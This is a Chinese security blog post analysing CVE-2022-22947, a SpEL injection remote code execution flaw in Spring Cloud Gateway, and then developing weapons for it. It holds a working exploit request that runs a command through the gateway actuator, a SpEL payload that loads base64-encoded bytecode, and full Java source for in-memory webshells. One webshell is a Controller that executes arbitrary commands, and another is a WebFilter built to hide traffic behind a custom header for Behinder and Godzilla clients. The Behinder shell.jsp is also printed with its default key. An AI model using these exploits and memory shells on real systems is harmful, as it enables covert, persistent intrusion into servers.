漏洞分析

漏洞分析许多师傅都写了非常详尽的文章,因此这部分仅分析记录重点内容和有一些有趣的东西。
官方公告:https://tanzu.vmware.com/security/cve-2022-22947
Code Diff:https://github.com/spring-cloud/spring-cloud-gateway/commit/d8c255eddf4eb5f80ba027329227b0d9e2cd9698#diff-7aa249852020f587b35d07cd73c39161c229700ee1e13a9a146c114f542083bcL55-L61
漏洞发现者Blog相关文章:https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/

漏洞原理:本质属于SpEL表达式注入漏洞,可通过ShortcutConfigurable#getValue(SpelExpressionParser parser, BeanFactory beanFactory, String entryValue)对可控表达式通过StandardEvaluationContext进行解析从而造成RCE。

调试分析

调试分析的POC采用:

POST /actuator/gateway/routes/rce HTTP/1.1
Content-Type: application/json
Host: 127.0.0.1:8000
Connection: close
User-Agent: Paw/3.3.5 (Macintosh; OS X/12.2.0) GCDHTTPRequest
Content-Length: 362

{
  "id": "rce",


  "filters": [
    {
      "name": "AddResponseHeader",
      "args": {
        "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}",
        "name": "cmd"
      }
    }
  ],
  "uri": "http://localhost:8080",
  "order": 2
}

老规矩,在触发点断点以回溯函数调用栈。我们需要控制entryValue即可实现SpEL表达式注入。

在上一个调用函数中可以观察到,会根据ShortcutType的类型执行不同的normalize函数。虽然这里调用栈是走的DEFAULT,但是其他类型的normalize函数也会进行SpEL表达式执行。他们同样都需要对normalize函数参数的args进行控制,使得其某一个entry的value为恶意SpEL表达式字符串。

函数参数args再对应到上一个函数调用的properties参数。回顾前面的Poc可知,即"filters"的"args"。

再向上回溯,发现是在bind()的流程中会进行一个参数解析的触发。那么查看Callers of bind即可知道有哪些触发机会。其中橘色方框的loadGatewayFilters触发链即为前面AddResponseHeader Filter的触发链,绿色的combinePredicates链表明,在route definition时声明一个Predicates一样能触发SpEL表达式注入。
也就是说,除了如果需要回显可能会对链的选择有所限制,实际上几乎所有的通过内置验证的Filters、Predicates都可以实现SpEL表达式注入。这个有师傅已经做了比较详尽的分析,参见REF[10]。


convertToRoute则会在路由初始化的时候触发,详见REF[9]。


武器化研究

内存马注入

Spring Cloud Gateway是基于Spring WebFlux实现的,如下图所示,可以注入Netty内存马或者Spring内存马。

Netty内存马的EXP已经有师傅在GitHub上给出,下面主要是Spring的内存马分析与编写。

SPEL表达式注入字节码

From: c0ny1 详见REF[3]

#{T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}

其中'yv66vgAAA....'为Base64Encode的字节码,可通过如下代码生成:

import org.springframework.util.Base64Utils;

import java.io.*;
import java.nio.charset.StandardCharsets;

public class EncodeShell {
    public static void main(String[] args){
        byte[] data = null;
        try {
            InputStream in = new FileInputStream("MemShell.class");
            data = new byte[in.available()];
            in.read(data);
            in.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
        String shellStr = Base64Utils.encodeToString(data);
        System.out.println(shellStr);
        try {
            OutputStream out = new FileOutputStream("ShellStr.txt");
            out.write(shellStr.getBytes(StandardCharsets.UTF_8));
            out.flush();
            out.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

Spring Controller内存马

参考基于内存 Webshell 的无文件攻击技术研究这篇文章,作者提出了3中注册方法。

  1. 在 spring 4.0 及以后,可以使用 RequestMappingHandlerMapping#requestMapping 注册,这是最直接的一种方式。
  2. 针对使用 DefaultAnnotationHandlerMapping 映射器的应用,使用org.springframework.web.servlet.handler.AbstractUrlHandlerMapping#registerHandler
  3. 针对使用 RequestMappingHandlerMapping 映射器的应用,使用org.springframework.web.servlet.handler.AbstractHandlerMethodMapping#detectHandlerMethods

重点在于,使用 registerMapping 动态注册 controller 时,不需要强制使用 @RequestMapping 注解定义 URL 地址和 HTTP 方法,其余两种手动注册 controller 的方法都必须要在 controller 中使用@RequestMapping 注解 。

Spring Cloud Gateway是Spring 5.0推出的产物,因此可以选用方法1或者2进行注入。测试代码如下,两种均可行。

package tech.portal.api.gateway.shell;

import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.reactive.result.condition.PatternsRequestCondition;
import org.springframework.web.reactive.result.condition.RequestMethodsRequestCondition;
import org.springframework.web.reactive.result.method.RequestMappingInfo;
import org.springframework.web.reactive.result.method.annotation.RequestMappingHandlerMapping;
import org.springframework.web.util.pattern.PathPattern;
import org.springframework.web.util.pattern.PathPatternParser;

import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Scanner;

public class SpringRequestMappingMemshell {

    public static String doInject(RequestMappingHandlerMapping requestMappingHandlerMapping) {
        String msg = "inject-start";
        try {
            firstWay(requestMappingHandlerMapping);
            // originalWay(requestMappingHandlerMapping);
            msg = "inject-success";
        } catch (Exception e) {
            msg = "inject-error";
        }
        return msg;
    }
    // 通过方法2注入
    public static void originalWay(RequestMappingHandlerMapping requestMappingHandlerMapping) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        Method registerHandlerMethod = requestMappingHandlerMapping.getClass().getDeclaredMethod("registerHandlerMethod", Object.class, Method.class, RequestMappingInfo.class);
        registerHandlerMethod.setAccessible(true);
        Method executeCommand = SpringRequestMappingMemshell.class.getDeclaredMethod("executeCommand", String.class);
        PathPattern pathPattern = new PathPatternParser().parse("/*");
        PatternsRequestCondition patternsRequestCondition = new PatternsRequestCondition(pathPattern);
        RequestMappingInfo requestMappingInfo = new RequestMappingInfo("", patternsRequestCondition, null, null, null, null, null, null);
        registerHandlerMethod.invoke(requestMappingHandlerMapping, new SpringRequestMappingMemshell(), executeCommand, requestMappingInfo);
    }
    //通过方法1注入
    public static void firstWay(RequestMappingHandlerMapping requestMappingHandlerMapping) throws NoSuchMethodException {
        // 2. 通过反射获得自定义 controller 中的 Method 对象
        Method method = SpringRequestMappingMemshell.class.getDeclaredMethod("executeCommand", String.class);
        // 3. 定义访问 controller 的 URL 地址
        PathPattern pathPattern = new PathPatternParser().parse("/*");
        PatternsRequestCondition url = new PatternsRequestCondition(pathPattern);
        // 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        // 5. 在内存中动态注册 controller
        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
        requestMappingHandlerMapping.registerMapping(info, new SpringRequestMappingMemshell(), method);
    }

    public ResponseEntity executeCommand(@RequestBody String reqBody) throws IOException  {
        String execResult = new Scanner(Runtime.getRuntime().exec(reqBody).getInputStream()).useDelimiter("\\A").next();
        return new ResponseEntity(execResult, HttpStatus.OK);

    }
}

最终效果为:

但需要注意注入Controller内存马有个很大的缺点,每个Controller对应一个或者多个路由。如果你用一个新路由,可能被拦,或者方便别人溯源定位入侵时间;如果用业务已有路由,会直接对其造成覆盖,是个更糟糕的情况。

连接冰蝎

在Behinder(v3.0 Beta 9 fixed)的Server文件夹下,提供了shell.jsp。

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!
    class U extends ClassLoader{
        U(ClassLoader c){
            super(c);
        }
        public Class g(byte []b){
            return super.defineClass(b,0,b.length);
        }
    }
%>
<%
    if (request.getMethod().equals("POST")){
        String k="e45e329feb5d925b";
        /*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
        session.putValue("u",k);
        Cipher c=Cipher.getInstance("AES");
        c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
        new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
    }
%>

根据[4]已有的分析:

shell.jsp中需要特别注意pageContext这个对象,它是jsp文件运行过程中自带的对象,可以获取request/response/session这三个包含页面信息的重要对象,对应pageContext有getRequest/getResponse/getSession方法。学艺不精,暂时没有找到从spring和tomcat中获取pageContext的方法。
但是从冰蝎的作者给出的提示可以知道,冰蝎3.0 bata7之后不在依赖pageContext,见github issue
又从源码确认了一下,在equal函数中传入的object有request/response/session对象即可

可得知,如果你不想自己写request/response/session的实现,在Java应用的Lib中必定需要以下两个类:

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

但实际发现Spring Cloud Gateway并没有这两个类,猜测可能是Spring WebFlux没有Servlet API,即在非开发者额外导入的情况下,JVM中没有HttpServletRequest、HttpServletResponse。经搜索,下图验证了猜想。

因此武器化无法容易地实现和冰蝎的连接,需要在加载冰蝎的java代码中,将pageContext替换为一个Map,并自己实现冰蝎所用到的里面object的所有方法。

Map<String, Object> objMap = (Map)obj;
 this.Session = objMap.get("session");
 this.Response = objMap.get("response");
 this.Request = objMap.get("request");

Spring WebFilter内存马

前面提到Controller的内存马的一些缺陷。其实对于Servlet API中我们更倾向于选择Filter型是同样的道理,Spring WebFlux即使换到Reactive也必然有一个「Filter」,即WebFilter

The Web Filters are very similar to the Java Servlet Filters that they intercept requests and responses on a global level. Most importantly, the WebFilter is applicable to both annotation based WebFlux Controllers and the Functional Web framework style Routing Functions.

通过编写一个正常的Filter Demo能发现,DefaultWebFilterChain的allFilters属性存储了当前的Filer链,那么猜测是否直接修改这个属性,向里面添加一个自己编写的Filter就可以了?

@Component
@Order(value = 2)
public class NormalFilter implements WebFilter {
    @Override
    public Mono<Void> filter(ServerWebExchange exchange, WebFilterChain chain) {
        System.out.println("---NormalFilter---");
        return chain.filter(exchange);
    }
}

通过Java Object Searcher可以快速定位到该实例:

TargetObject = {reactor.netty.resources.DefaultLoopResources$EventLoop} 
  ---> group = {java.lang.ThreadGroup} 
   ---> threads = {class [Ljava.lang.Thread;} 
    ---> [14] = {org.springframework.boot.web.embedded.netty.NettyWebServer$1} 
     ---> this$0 = {org.springframework.boot.web.embedded.netty.NettyWebServer} 
      ---> handler = {org.springframework.http.server.reactive.ReactorHttpHandlerAdapter} 
       ---> httpHandler = {org.springframework.boot.web.reactive.context.WebServerManager$DelayedInitializationHttpHandler} 
        ---> delegate = {org.springframework.web.server.adapter.HttpWebHandlerAdapter} 
         ---> delegate = {org.springframework.web.server.handler.ExceptionHandlingWebHandler} 
           ---> delegate = {org.springframework.web.server.handler.FilteringWebHandler} 
            ---> chain = {org.springframework.web.server.handler.DefaultWebFilterChain}


但实际上经过尝试会发现,仅仅只修改了上图的这个chain.allFilters是无法实现新增Filter的。如下图所示,我两次修改allFilters,向里面添加一个HackFilters都仅仅添加到了第一处。而遍历Filter的逻辑并不是我们之前想象的,只对第一个chain.allFilters进行遍历。

再回头来看DefaultWebFilterChain这个类的注解,发现一个DefaultWebFilterChain实例并非对应一个Chain,而仅仅是一个Link。(不要向笔者学习,这种东西应该先看而不是GG了再看)

/**
* Default implementation of {@link WebFilterChain}.
*
* <p>Each instance of this class represents one link in the chain. The public
* constructor {@link #DefaultWebFilterChain(WebHandler, List)}
* initializes the full chain and represents its first link.
*
* <p>This class is immutable and thread-safe. It can be created once and
* re-used to handle request concurrently.
*
* @author Rossen Stoyanchev
* @since 5.0
 */
public class DefaultWebFilterChain implements WebFilterChain {......}

再根据其初始化Chain逻辑,即我们需要去new一个DefaultWebFilterChain,并插入到这条Chain上;而不是仅仅去修改一个Link的allFilters属性。

private static DefaultWebFilterChain initChain(List<WebFilter> filters, WebHandler handler) {
    DefaultWebFilterChain chain = new DefaultWebFilterChain(filters, handler, null, null);
    ListIterator<? extends WebFilter> iterator = filters.listIterator(filters.size());
    while (iterator.hasPrevious()) {
        chain = new DefaultWebFilterChain(filters, handler, iterator.previous(), chain);
    }
    return chain;
}

根据前面的Filter Demo,已知每次跳转下一条Link是通过return chain.filter(exchange);触发。

@Override
public Mono<Void> filter(ServerWebExchange exchange) {
    return Mono.defer(() ->
                      this.currentFilter != null && this.chain != null ?
                      invokeFilter(this.currentFilter, this.chain, exchange) :
                      this.handler.handle(exchange));
}

可以看到对于遍历Chain,并不需要allFilters。仅仅只需要我们的DefaultWebFilterChain实例中有handler和我们自己实现的恶意Filter实例。

handler从DefaultWebFilterChain获取即可,即使Chain是空的,依然会有一个DefaultWebFilterChain实例。

不过既然是插入Filter,我们必然是期望其顺序能在首位。通过Java Object Searcher定位实例时就能知晓,这个Chain由org.springframework.web.server.handler.FilteringWebHandler所持有。因此笔者考虑直接把FilteringWebHandler.chain直接换掉,我们重新new一个就好了:D。

因此最终注册WebFilter实现如下:

public static String doInject() {
    String msg = "Inject MemShell Failed";
    Method getThreads = null;
    try {
        getThreads = Thread.class.getDeclaredMethod("getThreads");
        getThreads.setAccessible(true);
        Object threads = getThreads.invoke(null);
        for (int i = 0; i < Array.getLength(threads); i++) {
            Object thread = Array.get(threads, i);
            if (thread != null && thread.getClass().getName().contains("NettyWebServer")) {
                // 获取defaultWebFilterChain
                NettyWebServer nettyWebServer = (NettyWebServer) getFieldValue(thread, "this$0",false);
                ReactorHttpHandlerAdapter reactorHttpHandlerAdapter = (ReactorHttpHandlerAdapter) getFieldValue(nettyWebServer, "handler",false);
                Object delayedInitializationHttpHandler = getFieldValue(reactorHttpHandlerAdapter,"httpHandler",false);
                HttpWebHandlerAdapter httpWebHandlerAdapter= (HttpWebHandlerAdapter)getFieldValue(delayedInitializationHttpHandler,"delegate",false);
                ExceptionHandlingWebHandler exceptionHandlingWebHandler= (ExceptionHandlingWebHandler)getFieldValue(httpWebHandlerAdapter,"delegate",true);
                FilteringWebHandler filteringWebHandler = (FilteringWebHandler)getFieldValue(exceptionHandlingWebHandler,"delegate",true);
                DefaultWebFilterChain defaultWebFilterChain= (DefaultWebFilterChain)getFieldValue(filteringWebHandler,"chain",false);
                // 构造新的Chain进行替换
                Object handler= getFieldValue(defaultWebFilterChain,"handler",false);
                List<WebFilter> newAllFilters= new ArrayList<>(defaultWebFilterChain.getFilters());
                newAllFilters.add(0,new FilterMemshellPro());// 链的遍历顺序即"优先级",因此添加到首位
                DefaultWebFilterChain newChain = new DefaultWebFilterChain((WebHandler) handler, newAllFilters);
                Field f = filteringWebHandler.getClass().getDeclaredField("chain");
                f.setAccessible(true);
                Field modifersField = Field.class.getDeclaredField("modifiers");
                modifersField.setAccessible(true);
                modifersField.setInt(f, f.getModifiers() & ~Modifier.FINAL);// 去掉final修饰符以重新set
                f.set(filteringWebHandler,newChain);
                modifersField.setInt(f, f.getModifiers() & Modifier.FINAL);
                msg = "Inject MemShell Successful";
            }
        }
    } catch (Exception e) {
        e.printStackTrace();
    }
    return msg;
}

连接哥斯拉

这一部分已经有师傅实现了Controller版本(REF[7]),因此改一部分内容即可。需要注意有几个点:

  1. 既然是filter,必然要具有更强的优势,即对任意路由请求都可以,只要携带了指定特征。但不能影响正常业务。
  2. webflux是基于响应式编程模型的,因此程序流和正常的不太一样。编写逻辑和调试有一些难度。

完整代码后续会在GitHub上给出(会在评论区发出Link以告知)。为了解决1的问题,我新增了一个Header作为判定条件,这个也可以随意自定义。刚好哥斯拉也提供了在请求配置中修改header的功能。

String authorizationHeader = exchange.getRequest().getHeaders().getFirst(HttpHeaders.AUTHORIZATION);
if(authorizationHeader != null && authorizationHeader.equals(auth)) {......}

如果有更好的解决方案希望能进行交流,大佬们ddw。

最终EXP效果

ENV - JDK8

vulhub/spring/CVE-2022-22947

ENV - JDK11

spring-cloud-gateway-0.0.1-SNAPSHOT.jar From vulhub/spring/CVE-2022-22947

其他

需要注意高版本JDK因为进行大量敏感反射操作可能会产生如下log记录,有助于监控攻击。不过这个作者还没有进一步探究。

REF

[1].从SSRF 到 RCE —— 对 Spring Cloud Gateway RCE漏洞的分析
[2].BRING YOUR OWN SSRF – THE GATEWAY ACTUATOR
[3].Spring cloud gateway通过SPEL注入内存马
[4].针对spring mvc的controller内存马-学习和实验(注入菜刀和冰蝎可用的马)
[5].Spring WebFlux Filters with Controllers and Functional Routers
[6].解决哥斯拉内存马pagecontext的问题
[7].CVE-2022-22947 注入哥斯拉内存马
[8].https://stackoverflow.com/questions/48454539/unable-to-send-custom-body-in-webfilter-if-authorization-header-doesnt-exist
[9].spring cloud gateway 路由转发
[10].手把手带你挖掘spring-cloud-gateway新链

点击收藏 | 4 关注 | 2
登录 后跟帖